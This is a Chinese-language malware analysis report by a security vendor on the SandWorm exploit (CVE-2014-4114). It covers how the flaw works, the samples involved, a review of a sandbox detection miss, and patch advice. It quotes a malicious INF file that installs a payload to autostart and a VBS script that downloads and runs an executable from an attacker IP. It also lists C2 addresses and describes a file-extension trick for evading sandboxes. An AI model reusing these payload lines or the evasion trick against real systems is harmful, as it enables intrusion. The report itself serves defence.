summer0429 发表于 2014-10-31 11:57

沙虫(CVE-2014-4114)相关威胁综合分析报告_V0.7

沙虫(CVE-2014-4114)相关威胁综合分析报告_V0.7
——及对追影安全平台检测问题的复盘

安天实验室



首次发布时间:2014年10月15日21时40分
本版本更新时间:2014年10月24日14时30分

目 录

1        威胁卡片与简介
2        漏洞原理
3        漏洞的场景有效性验证
3.1        “操作系统+软件环境”与内存保护相关场景验证
3.2        UAC验证
4        相关样本分析
4.1        相关样本集信息
4.2        关键载荷文件slide1.gif分析
4.3        其它相关文件样本分析
4.4        历史关联样本
5        对追影安全平台检测问题的复盘分析
6        配置建议
7        总结
附录一:鸣谢
附录二:参考资料
附录三:事件日志
附录四:关于安天



1        威胁卡片与简介




漏洞英文名称
SandWorm

中文命名
沙虫

技术命名
OLE包管理INF任意代码执行漏洞

威胁等级
B(APT)

漏洞相关CVE编号
CVE-2014-4114

漏洞发现者
iSIGHT

漏洞发现时间
不详

漏洞公布时间
2014年10月14日

漏洞影响对象
MS Office




    CVE-2014-4114 是OLE包管理INF任意代码执行漏洞,该漏洞影响Win Vista,Win7等以上操作系统,攻击者使用PowerPoint作为攻击载体,该漏洞是在Microsoft Windows和服务器上的OLE包管理器。在OLE打包文件(packer.dll)中能够下载并执行类似的INF外部文件,允许攻击者执行命令。

2        漏洞原理

    我们对首先获取的MD5 HASH为330e8d23ab82e8a0ca6d166755408eb1的样本进行了分析,通过分析工具我们可以看到这个文件嵌入了两个OLE 对象图2-1所示。


图2 1嵌入OLE对象

    其中OleObject1.bin包含一个“\\94.185.85.122\public\slide1.gif”的字符串,它是一个webdav的路径,下载后发现其实它是一个PE文件。


图2 2slide1.gif远程路径

    OleObject2.bin中的“\\94.185.85.122\public\slides.inf”字符串,也是一个webdav的路径,下载后发现是一个INF文件,它是利用漏洞触发的关键。


图2 3slides.inf远程路径

    当该文件被PowerPointer加载后,它会调用Packager.dll的一个函数通过网络将这两个文件下载并保存在临时目录中,该函数是CPackage::OLE2MPlayerReadFromStream,该函数的关键代码如图2-4所示,下载后的文件如图2-5所示。


图2 4远程获取函数代码


图2 5下载文件截图

    然后在函数CPackage::DoVerb中调用SHELL32!CDefFolderMenu::InvokeCommand函数会使用popup菜单命令安装slides.inf文件。CPackage::DoVerb的关键代码如图2-6所示。


图2 6CPackage::DoVerb的关键代码

    启动popup菜单代码如图2-7所示:


图2 7启动popup菜单代码

    最后通过调用C:\Windows\System32\InfDefaultInstall.exe程序进行INF的安装,如图2-8所示。


图2 8INF安装图

    Slide.inf的关键内容如下,所有代码请见第3节slides.inf标签:



DefaultDestDir = 1


slide1.gif.exe, slide1.gif

HKLM,Software\Microsoft\Windows\CurrentVersion\RunOnce,Install,,%1%\slide1.gif.exe



    整个INF的主要功能是将slide1.gif重命名为slide1.gif.exe,然后添加注册表启动项。
    因为DefaultDestDir的值为1,代表的是INF文件当前所在的路径,即临时目录。这就说明%1%\slide1.gif.exe就是%USERPROFILE%\AppData\Local\Temp\slide1.gif.exe,因此就是在注册表路径HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce下添加一个新项,该项的值为%USERPROFILE%\AppData\Local\Temp\slide1.gif.exe,其中%USERPROFILE%根据不同的机器而变化。
    漏洞产生的主要原因是OLE PACKAGER允许远程下载文件,并执行弹出菜单命令, 而INF文件的下载和弹出菜单安装命令可以对系统的资源如注册表等进行修改,运行可执行恶意代码。相关场景验证截图如图2-9所示。


图2 9相关场景截图

3        漏洞的场景有效性验证

3.1        “操作系统+软件环境”与内存保护相关场景验证

    多数的格式文档漏洞是否能有效触发,与操作系统版本、补丁情况、字符集、以及对格式文件读取和解析的软件版本、字符集等有一定关系,同时也可能受到类似DEP(数据执行保护)、ASLR(地址随机化),包括是否安装有EMET等增强工具的影响。
    我们启动了常规流程的验证,其结果如表3-1所示。

表3 1漏洞在不同场景下的触发情况

分类Office Professional Plus 2007Office Professional Plus 2010Office Professional Plus 2013
DEP默认DEP全开EMETDEP默认DEP全开EMETDEP默认DEP全开EMET
XP SP3 x86中文*********当前系统不支持此版本office
XP SP3 x86 English*********
XP x64 English***当前系统不支持此版本office
Win7 SP1 x86中文√√√******√√√
Win7 SP1 x64中文√√√******√√√
Win7 SP1 x86 English√√√******√√√
Win7 SP1 x64 English√√√******√√√



注: √:能够正常触发
*:只存在访问共享,不能够正常触发
       **:运行时存在崩溃,不能够正常触发
      Win7版本类别为:Professional
XP版本类别为:Professional
在运行时会存在崩溃的情况,在Win7 Professional SP1 x64 English平台的Office Professional Plus 2010截图如图3-1所示。


图3 1Win7环境下Office崩溃截图

    从上述结果可以看到,相关内存防护机制对本漏洞并无效果,由于漏洞并非是利用文档格式的溢出型漏洞,而是基于函数调用和代码执行的漏洞,因此这些内存防护机制对此无效并不意外。

3.2        UAC验证

    UAC(User Account Control,用户帐户控制)是Windows基于可执行对象的一套安全防护机制,其在涉及到可能会影响计算机运行的操作或执行改变或影响其他用户设置的操作时,会需要交互确认。具体表现为,在当前账户为管理员账户的情况下,灰屏进入一次交互确认,而在非管理员账户下会要求输入管理员密码。
    从验证情况看,当UAC安全性设置为UAC默认设置时,样本运行之后不会弹出提示,会正常触发;当把UAC设置为最高级别时,样本运行会触发UAC。
(1)        在Win7 Professional SP1 x64 English平台的Office Professional Plus 2013上进行测试,UAC设置为最高提示如图3-2所示。


图3 2英文环境-UAC提示

    当双击“Yes”后,执行成功,创建Link文件如下图。当双击“no”后,INF不会被安装。

图3 3英文环境-创建Link文件

(2)        在Win7Professional SP1 x64 中文平台的Office Professional Plus 2013上进行测试,UAC设置为最高提示如图3-4所示。


图3 4中文环境-UAC提示

    当双击“是”后,执行成功,创建Link文件如图3-5所示。当双击“否”后,INF不会被安装。


图3 5中文环境-创建Link文件

4        相关样本分析

4.1        相关样本集信息

    我们对CVE-2014-4114目前的相关样本进行了整理,详见表4-1。

表4 1CVE-2014-4114相关样本梳理

样本命名原始文件名MD5 HASH大小(b)格式
Trojan/Win32.BTSGeneric
view.ph
48937e732d0d11e99c68895ac8578374
173,568
BinExecute/Microsoft.EXE[:X86]

Trojan/Win32.Agent
slides.inf
8313034e9ab391df83f6a4f242ec5f8d
446
Text/Windows.INF

Trojan/MSWord.CVE-2014-4114
devlist.cim
59e41a4cdf2a7d37ac343d0293c616b7
20,992
Document/Microsoft.DOCX[:Word2007-2013]

Trojan/MSWord.CVE-2014-4114
config.bak
c931be9cd2c0bd896ebe98c9304fea9e
21,504
Document/Microsoft.DOCX[:Word2007-2013]

Trojan/Win32.Agent
CCProjectMgrStubEx.dll
de6c083b7f6bcd404375285eb7ce98ba
115,712
BinExecute/Microsoft.EXE[:X86]

Trojan/Win32.Fonten
slide1.gif
8a7c30a7a105bd62ee71214d268865e3
108,544
BinExecute/Microsoft.EXE[:X86]

Trojan/VBS.Starter
shell.bcl
bdc7fafc26bee0e5e75b521a89b2746d
639
Text/Windows.VBS

Trojan/MSPPoint.CVE-2014-4114
zip.pps
F4B9F0E28366F8CF57A50B5B51E96883
110,204
Archive/Phil_Katz.ZIP

Trojan/MSPPoint.CVE-2014-4114
spiski_deputatov_done.ppsx
330e8d23ab82e8a0ca6d166755408eb1
108,917
Document/Microsoft.PPTX[:PowerPoint2007-2013]

Trojan/Win32.BTSGeneric
default.txt
ef618bd99411f11d0aa5b67d1173ccdf
115,200
BinExecute/Microsoft.EXE[:X86]

Trojan/MSWord.CVE-2014-4114
oleObject1.bin
AC3C8DD93C6D2234D6341ACBE987DDD5
2,560
Document/Microsoft.DOCX[:Word2007-2013]

Trojan/MSPPoint.CVE-2014-4114
a.zip
60095D88EE644B99928E67325D638F76
109,402
Document/Microsoft.PPTX[:PowerPoint2007-2013]

Trojan/MSPPoint.CVE-2014-4114
Генпрокуратуравстановила зв'язку народних депутатів України з ополченцями..mbox
9DE30FC2533ECFC8E4825D348F861B76
153,342
Other/KMail.EML

Trojan/MSWord.CVE-2014-4114
oleObject2.bin
3A9805E76B8123018EC5AC8A56D3C438
2,560
Document/Microsoft.DOCX[:Word2007-2013]

Trojan/MSPPoint.CVE-2014-4114
U__SchodoRobotiVeb-portaluZ20072014.ppsx
4F7E02049372C4F2FF46F68786153477
54,688
Document/Microsoft.PPTX[:PowerPoint2007-2013]




4.2        关键载荷文件slide1.gif分析

    下面我们对关键载荷文件slide1.gif进行详细分析:

原始文件名
slide1.gif

样本MD5
8a7c30a7a105bd62ee71214d268865e3

样本大小(b)
108,544

样本格式
BinExecute/Microsoft.EXE[:X86]

样本命名
Trojan/Win32.Fonten



(1)        样本集中slide1.gif实际为PE格式,为关键载荷文件,其被slides.inf脚本更名为slide1.gif.exe 后,将其添加到注册表开机自动执行的相关键值中,slides.inf代码与请见slides.inf标签;
(2)        slide1.gif运行后创建DLL文件与快捷方式文件,该快捷方式文件被加入启动项,以启动DLL文件:
        c:\Documents and Settings\Administrator\Local Settings\Application Data\FONTCACHE.DAT
        c:\Documents and Settings\Administrator\「开始」菜单\程序\启动\{EC7E18E7-18E7-8639-E718-7EECE7187EEC}.lnk





(3)        创建互斥体{CD56173D-1A7D-4E99-8109-A71BB04263DF}:



(4)        调用cmd.exe删除自身,运用ping localhost做延时操作:



(5)        删除自身后,通过rundll32.exe调用FONTCACHE.dat,FONTCACHE.dat首先申请一块内存,开始地址为0x70000000h,大小为122880:



(6)        FONTCACHE.dat内存申请成功后向其中写入解密自身的代码:



(7)        FONTCACHE.dat在解密代码执行完成后重新写入0x10000000:



(8)        FONTCACHE.dat会通过创建一个RPC远程过程调用(RPC over the named-pipe protocol)实现模块的通信:



(9)        通过POST请求进行通信,指令类型如下:



(10)        内存中解密后的C&C如下:



(11)        C&C网络行为抓图如下,但链接目前已经失效:



4.3        其它相关文件样本分析


原始文件名
slides.inf

样本MD5
8313034e9ab391df83f6a4f242ec5f8d

样本大小(b)
446b

样本格式
Text/Windows.INF

样本命名
Trojan/Win32.Agent

文件内容
; 61883.INF
; Copyright (c)Microsoft Corporation.All rightsreserved.

Signature ="$CHICAGO$"
Class=61883
ClassGuid={7EBEFBC0-3200-11d2-B4C2-00A0C9697D17}
Provider=%Msft%
DriverVer=06/21/2006,6.1.7600.16385

DefaultDestDir = 1

RenFiles = RxRename
AddReg = RxStart

slide1.gif.exe,slide1.gif

HKLM,Software\Microsoft\Windows\CurrentVersion\RunOnce,Install,,%1%\slide1.gif.exe

分析结论
此配置文件的功能请见第二节漏洞原理部分,其中添加的注册表启动项只执行一次,当slide1.gif.exe执行后会创建一个快捷方式放入启动目录中以达到恶意代码启动的目的。此时注册表启动项已达到目的,再启动计算机后,此注册表RunOnce项便无此条启动命令。





原始文件名
view.ph

样本MD5
48937e732d0d11e99c68895ac8578374

样本大小(b)
173,568b

样本格式
BinExecute/Microsoft.EXE[:X86]

样本命名
Trojan/Win32.BTSGeneric

本地行为
1.          创建互斥量:Global\{3D5A1694-CC2C-4ee7-A3D5-A879A9E3A009}2.          命令行替换驱动文件,并重新启动该服务。/c "ping localhost -n 8& move /Y "C:\WINDOWS\dmboots""C:\WINDOWS\System32\drivers\dmboot.sys" & ping localhost -n 3& net start dmboot"

                                                                        
3.          自删除操作。

      
4.          延迟操作。

      
5.          进行连接网络,使用SSLV3协议进行网络通信。
网络行为
连接远程IP:端口:144.76.119.48:443 SSLV3
主动连接控制端,一旦连接成功,便等待远程命令

分析结论
此样本是后门类样本,运行于Windows平台,主动连接控制端,等待远程控制。投放途径为利用漏洞CVE-2014-4114投放。





原始文件名
shell.bcl

样本MD5
bdc7fafc26bee0e5e75b521a89b2746d

样本大小(b)
639b

样本格式
Text/Windows.VBS

样本命名
Trojan/VBS.Starter

代码内容
sub Main()
    dim sh as Object
    Print "Content-Type: text/xml"
    Print ""
    Print "<?xmlversion=""1.0""?>"
    Print "<Exploit>"
      cmd$ = "cmd /C start\\94.185.85.122\public\xv.exe"
      Print "<Info> The payloadis application " + cmd$ + "</Info>"
      Set sh =CreateObject("Wscript.Shell")
      result$ = sh.run (cmd$)
      if result$ = 0 then
            result$ = ""
      else
            result$ = "not"
      end if
      Print "<Result> Theexploit has " + result$ + " launched the payload " +"</Result>"
      Print "</Exploit>"
end sub

分析结论
此文件功能是从94.185.85.122下载PE文件xv.exe并执行。





原始文件名
default.txt

样本MD5
EF618BD99411F11D0AA5B67D1173CCDF

样本大小(b)
115,200b

样本格式
BinExecute/Microsoft.EXE[:X86]

样本命名
Trojan/Win32.BTSGeneric

本地行为
1.          创建互斥量:Global\{D386895F-2B72-4F17-BBD4-FA1318CE2ABA};2.          在临时目录下,创建文件tmpB.tmp;3.          复制tmpB.tmp到目录"C:\WINDOWS\system32\Macromed"中,并重命名为“flashplayerapp.exe”,并运行该文件;4.          flashplayerapp.exe连接网络。
网络行为
连接网络:https://46.4.28.218/mswinupdater/v/getcfg.php

逆向分析
                                                                        

分析结论
此样本是后门类样本,运行于windows平台,主动连接控制端,等待远程控制。投放途径为利用漏洞CVE-2014-4114投放。





原始文件名
CCProjectMgrStubEx.dll

样本MD5
de6c083b7f6bcd404375285eb7ce98ba

样本大小(b)
115,712b

样本格式
BinExecute/Microsoft.EXE[:X86]

样本命名
Trojan/Win32.Agent

本地行为
1.      判断指定国家进行攻击;2.      具有反调式功能。如:(IsDebuggerPresent、IsProcessorFeaturePresent);3.      创建线程,进行相关操作;4.      使用base64进行信息编码。
分析结论
此样本为恶意程序调用模块。





4.4        历史关联样本

    安天CERT在病毒库中进行了初步的检索,寻找到一个载荷行为相似的历史样本,安天还会继续寻找类似攻击相关的其他样本。


原始文件名
spisok_paroliv.doc

样本MD5
78387651dd9608fcdf6bfb9df8b84db4

样本大小(b)
159,744b

样本格式
BinExecute/Microsoft.EXE[:X86]

样本命名
Trojan[Backdoor]/Win32.Fonten.c

主要行为
1.          程序图标: word文档图标(如下图)

                                                                      2.          行为:释放文件包括doc并打开,伪装成doc,添加启动目录lnk,释放FONTCACHE .dat文件FONTCACHE.DAT46649163c659cba8a7d0d4075329efa3,导出函数名与slide.gif释放的DAT文件导出函数发生变化。

   
分析结论
此样本与本漏洞利用主要载荷样本行为十分相似,为有关联样本。




5        对追影安全平台检测问题的复盘分析

    使用安天反APT产品的某用户在2014年10月14日18时许,将上述样本投放到安天追影安全平台中进行测试,反馈问题如下:
(1)        样本流经设备后,不能触发报警;
(2)        在测试终端上,观看样本后,其所下载slide1.gif的文件会被平台报警。
    安天相关研发分析团队对用户所反馈的信息连夜进行了分析,最后定位了问题。鉴于相关经验教训可能对APT检测分析工作有一定意义,因此我们将其记录于此。
    如图5-1所示,安天追影安全平台由两个设备组成,一台是VDS网络病毒监控系统,其接入网络设备镜像口,获得旁路流量,进行还原,调用反病毒引擎进行检测,同时对不能识别的对象投入到另一台追影高级威胁鉴定器设备中去分析,而VDS可以定期获取检测结果刷新原有的检测记录。鉴定器即采用沙箱虚拟分析的机理设计。从目前来看,业内同类产品基本采用这一“流量+沙箱”的方案。不同的只是是否支持直路串接,是否整合为一台设备等等。


图5 1安天追影安全平台的部署

    经我们对用户测试情况的多次复盘,最终得出了先骨干现象的原因。用户所获取的4114样本,扩展名为PPT$($可能其样本提供者所加,以避免样本被误打开),因此用户将其扩展名更名为PPT,采用HTTP下载的方式,构造了攻击事件,但此时文件虽然被获取,但鉴定器并未得出结论。图5-2是安天PMC测试组于次日做的事件再现,此时可见未获正确检出结果。


图5 2事件再现后的捕获文件日志

    而用户在客户端播放该PPT样本后,追影安全平台对一个名为Slide1.gif文件的下载对象完成了捕获和报警。安天PMC测试组通过内网环境模拟下载了这个程序,发现其会被检测到。关于这个文件的自动化分析报告,参见图5-5、图5-6。由于复盘抓图测试时,VDS设备的AVL SDK引擎已经更新,因此恶意代码名称,不再是附件中的自动化命名。而追影安全平台产品和安天自用的内部环境,都能分析出样本的相关行为。


图5 3VDS捕获Slide1.gif实体文件


图5 4VDS检出Slide1.gif恶意程序


图5 5追影安全平台对Slide1.gif的鉴定报告


图5 6安天CERT自用的内部追影的分析报告

    尽管可以对PE载荷进行检测,但沙箱未能对文件告警,是一个严重的产品问题,安天PMC测试小组在引擎部门的配合下,经过一夜的分析,锁定了问题的原因。测试小组经分析结论为,该部分未能成功检测,与追影鉴定器的对格式和文件名的识别策略,以及打开方式等设计不够完善有关,具体原因如下,供同仁们尽情鄙视吐槽:
(1)        追影鉴定器对格式文档的默认投放策略为,如果带有合法的文档扩展名(doc、docx、xls、xlsx、ppt、pptx、rtf、pdf)等,则保留原文件,按照预设版本策略,选择虚拟机,进行关联加载。而如果没有合法文档扩展名,则按照AVL SDK反病毒引擎所识别出的格式,获取对应扩展名进行投放。
(2)        经我们手工重新投放测试,样本被命名为.ppt后,无论在虚拟机中还是实体机中。被Powerpoint打开后,进入相关PPT编辑界面,不会触发恶意行为。
(3)        而如果手工把样本改为pptx,则会弹出如图5-7的格式不一致的提示,从而打开失败。


图5 7Powerpoint的格式告警

(4)        该样本实际上既非ppt格式,也非pptx格式,而是与pptx格式相近的ppsx播放格式,而触发该漏洞有三种路径:
a)        其扩展名被命名为ppsx,打开后即自动播放触发;
b)        其扩展名被命名为ppt,打开后进入编辑,此时需要由人工播放触发;
c)        其扩展名被命名为ppt,打开后进入编辑,点击如图5-8中,我们用红笔标注的两个OLE对象也可以触发。但实际上c并不处在一个合理的攻击路径上,因此路径b实际上可以称为一个对于部分沙箱系统的“免杀”。

图5 8ppt格式文档页面截图

(5)        针对上述问题做策略调整后,追影沙箱可以检测本样本(如图5-9、图5-10所示),并可以触发其行为,以及其他采用类似“免杀”策略的样本。即我们增加了按照合法扩展名和格式识别对应扩展名各执行一次的策略,同时对ppt格式样本,增加了/C参数对ppt进行播放。


图5 9ppsx格式追影分析成功发现威胁


图5 10ppsx格式载体发现网络通信


图5 11ppsx格式自动播放后截图

6        配置建议

(1)        鉴于此漏洞已发布官方补丁,如果您已启用Windows自动更新,则不必采取任何操作,此安全更新将自动下载并安装;对于未启用自动更新的用户,建议您开启Windows自动更新。
(2)        此漏洞的官方补丁除通过Windows自动更新外,您还可进行手动更新,表6-1中列出了Windows版本与其对应的补丁包,您可以到微软官网自行下载。

表6 1 CVE-2014-4114所对应Windows版本的补丁包

Windows版本补丁包
Windows Vista 32位版本
Windows6.0-KB3000869-x86.msu

Windows Vista x64位版本
Windows6.0-KB3000869-x64.msu

Windows Server 2008 32位版本
Windows6.0-KB3000869-x86.msu

Windows Server 2008 x64位版本
Windows6.0-KB3000869-x64.msu

Windows Server 2008 Itanium版本
Windows6.0-KB3000869-ia64.msu

Windows 7 32位版本
Windows6.1-KB3000869-x86.msu

Windows 7 x64位版本
Windows6.1-KB3000869-x64.msu

Windows Server 2008 R2 x64位版本
Windows6.1-KB3000869-x64.msu

Windows Server 2008 R2 Itanium版本
Windows6.1-KB3000869-ia64.msu

Windows 8 32位版本
Windows8-RT-KB3000869-x86.msu

Windows 8 x64位版本
Windows8-RT-KB3000869-x64.msu

Windows 8.1 32位版本
Windows8.1-KB3000869-x86.msu

Windows 8.1 x64位版本
Windows8.1-KB3000869-x64.msu

Windows Server 2012 所有版本
Windows8-RT-KB3000869-x64.msu

Windows Server 2012 R2 所有版本
Windows8.1-KB3000869-x64.msu




(3)        您除了进行补丁更新外,还可通过临时设置来将此漏洞的影响与危害降到最低:
a)        禁用 WebClient 服务:在Windows服务(Services.msc)中禁用WebClient。
b)        阻止 TCP 端口 139 和 445:以Windows 防火墙或企业级防火墙设备进行设置。
c)        阻止通过安装信息文件启动可执行文件:在注册表(regedit.exe)中先进行备份HKEY_CLASSES_ROOT\inffile\shell\Install\command,然后进行该项删除操作。
(4)        由于此漏洞修补不够完整,同时又存在新的漏洞CVE-2014-6352,微软给出了漏洞的说明与临时解决方案:
https://technet.microsoft.com/library/security/3010060
https://support.microsoft.com/kb/3010060
您可以按照临时解决方案进行 Fix it下载安装,还可以进行UAC设置与EMET设置,具体设置请参见微软给出的方案。


7        总结

    多部门合写报告,作为PMC测试小组的组长,我因为“不懂安全技术”被抓来写总结。因此我只能更多整理同事们一天来的语言。
    10月14日夜,在我们测试小组与引擎部门分析相关漏洞与产品问题的时候,安天CERT的几个小伙伴正在等待微软本月补丁发布,他们期待分析SSL漏洞。BOSS在群里说,骤然理解了,什么是“同时打赢两场局部战争的能力”。
    总工们怕我们会拿检测到哪个PE来掩饰问题,敲打我们说:“单放到一个实际的检测场景下看,一个PE载荷如果没有与其前导的格式溢出建立关联,这个事件的安全等级会下降。其可能被与其他普通的事件混合在一起。从而导致不被关注,因此对这个PE告警的价值大打折扣。”
    几个老家伙一直在线等待我们的验证报告,凌晨两点,我们反馈了初步的结果,并根据扩展名为.ppt的情况下,漏洞需要人工播放才能触发,我们也给出了需要重视相关免杀技巧的结论。
    在15日早晨,当我们把验证结论发送给发现问题的用户方研究人员时。他回信宽慰我们,你们能够检测到后面下载的PE样本,也部分证实了产品能力。
    但我们不能原谅自己,一个安全产品不能按照预期的设计全面和有效地应对威胁,这是工程师团队的耻辱。
    要感谢专业的用户帮我们验证和发现了问题,用户是最好的老师!
    而我又犯错误了,早上接受采访时,我把具有“免杀”效果的.ppt扩展名说成了.pptx。15日下午,根据对目前所能获取到的所有信息的复盘,安天CERT部门给出了另一个观点,尽管上述绕过沙箱的方法是可行的,并在用户测试中确实部分绕过了我们的追影平台。但除了用户自己手工修改名字的这个样本外,从安天自身已经获得样本和其他信息中,没有发现样本投放中使用了上述技巧的实证。但大家都忧心忡忡地认为,从攻击的趋势来看,攻击者通过构造和社工的方法,让文档的真正打开者能按照攻击者设想条件触发攻击,而在沙箱中无法触发。这必然是今后“流量+沙箱”类产品解决方案面临的主要挑战。随着沙箱的普及,恶意代码开发者也会不断地增加各种对抗沙箱的条件,类似验证码,人工点击或者播放等条件对攻击者很容易预设,而自动化的沙箱却很难逾越,需要不断的对抗完善。
    Seak发了一条微博,这让我可以省去自己想结尾:
    “从广义上说,入口点是确定性攻击路径的起点”,而从这个意义上看,EPO和Stolen Code都注定会在格式溢出构造技巧中找到影子。社会工程学可以把被攻击者导向那个“起点”,而对鉴定器来说,这个起点又可以足够隐蔽。

附录一:鸣谢

    本报告的缘起是安天PMC(产品与项目管理中心)对用户反馈BUG的复盘,PMC测试组在引擎部门的配合下贡献了报告的第五部分和第六部分,而前四部分由安天的引擎和CERT两个部门编写。人员跨越三地,时间仓促紧急,内容也出现了一些疏漏。
    值得欣慰的是,我们的工作获得了CNCERT/CC、CNNVD、XCERT等机构组织的关注和指导。
    首先感谢我们的用户,以非常专业的敏感性和水准帮我们发现了产品问题。亦特别感谢同行们、网友们提出的非常宝贵的意见建议:
    感谢下列新浪微博网友(排名不分先后):

[*]@5ACGT,为我们提供了后续分析建议,并提供了另一个漏洞编号作为参考。
[*]@instruder 指出我们对漏洞成因描述有误。我们正在做进一步的检查和整理。
[*]@0xBigBan 建议我们给予Slide.gif更深入的分析,我们后续对这个样本单独完善报告作为附件。
[*]@江湖一apple,对我们样本载荷描述中的错误予以指出。
[*]@Evil_xi4oyu @rtsday等提出的观点对我们如何正确看待这个漏洞和后续工作有非常重要的价值。
[*]@huhu,指出文档中漏洞验证部分的版本信息问题。
[*]@猪儿虫小次郎 @谭晓生 @余弦等多位同行友人的积极转发本文,并给予我们鼓励,在此不一一致谢了。


附录二:参考资料

        CVE-2014-4114: Details on August BlackEnergy PowerPoint Campaigns (Robert Lipovsky, ESET)
http://www.welivesecurity.com/2014/10/14/cve-2014-4114-details-august-blackenergy-powerpoint-campaigns/
        Analysis of SandWorm (CVE-2014-4114) 0-Day(Deepen Desai)
http://research.zscaler.com/2014/10/analysis-of-sandworm-cve-2014-4124-0-day.html
        iSIGHT discovers zero-day vulnerability CVE-2014-4114 used in Russian cyber-espionage campaign(Stephen Ward)
http://www.isightpartners.com/2014/10/cve-2014-4114/
        SANDWORM APT Windows OLE PACKAGE 0day来袭 (南京翰海源)
http://blog.vulnhunt.com/index.php/2014/10/14/cve-2014-4114_sandworm-apt-windows-ole-package-inf-arbitrary-code-execution/
        沙虫事件木马分析:BlackEnergy Use in 0day Attack CVE-2014-4114 (南京翰海源)
http://blog.vulnhunt.com/index.php/2014/10/16/blackenergy-use-in-0day-attack-cve-2014-4114/


附录三:事件日志


时间
工作内容

2014-10-14 下午
安天CERT获得样本,因尚在破壳分析收尾工作中,及有其他工作安排,未在第一时间启动分析。

2014-10-14 傍晚及夜间
安天PMC接到用户X反馈相关样本及产品现象,启动产品分析,并于次日凌晨2点形成问题结论,并反馈用户。

2014-10-15 上午
安天引擎部门对应样本漏洞原理做人工分析,并修改追影ppt、pptx加载机制修补产品问题。

2014-10-15 下午
安天CERT整理分析相关样本,检索历史行为相似历史样本进行初步分析。启动漏洞各环境和配置条件验证。

2014-10-15 21点
整个三部门分析结果形成报告第一版。

2014-10-15 23点
报告做第一次修订。

2014-10-16 上午
分析WinXP环境与Win7环境下行为触发不一致问题。

2014-10-16 上午
进行载荷深入分析和多环境验证。

2014-10-16 夜
报告做第二次大修订,根据网友互动细节做出修订调整。

2014-10-17上午
报告做第三次修订,扩容载荷分析内容,根据简单复盘形成本日志。

2014-10-24下午
增加配置建议项,增加CVE-2014-6352漏洞相关说明



附录四:关于安天

    安天是专业的下一代安全检测引擎研发企业,安天的检测引擎为网络安全产品和移动设备提供病毒和各种恶意代码的检测能力,并被超过十家以上的著名安全厂商所采用,全球有数万台防火墙和数千万部手机的安全软件内置有安天的引擎。安天获得了2013年度AV-TEST年度移动设备最佳保护奖。依托引擎、沙箱和后台体系的能力,安天进一步为行业企业提供有自身特色的基于流量的反APT解决方案。

关于反病毒引擎更多信息请访问:        http://www.antiy.com(中文)
                                                      http://www.antiy.net(英文)

关于安天反APT相关产品更多信息请访问:        http://www.antiy.cn
页: [1]
查看完整版本: 沙虫(CVE-2014-4114)相关威胁综合分析报告_V0.7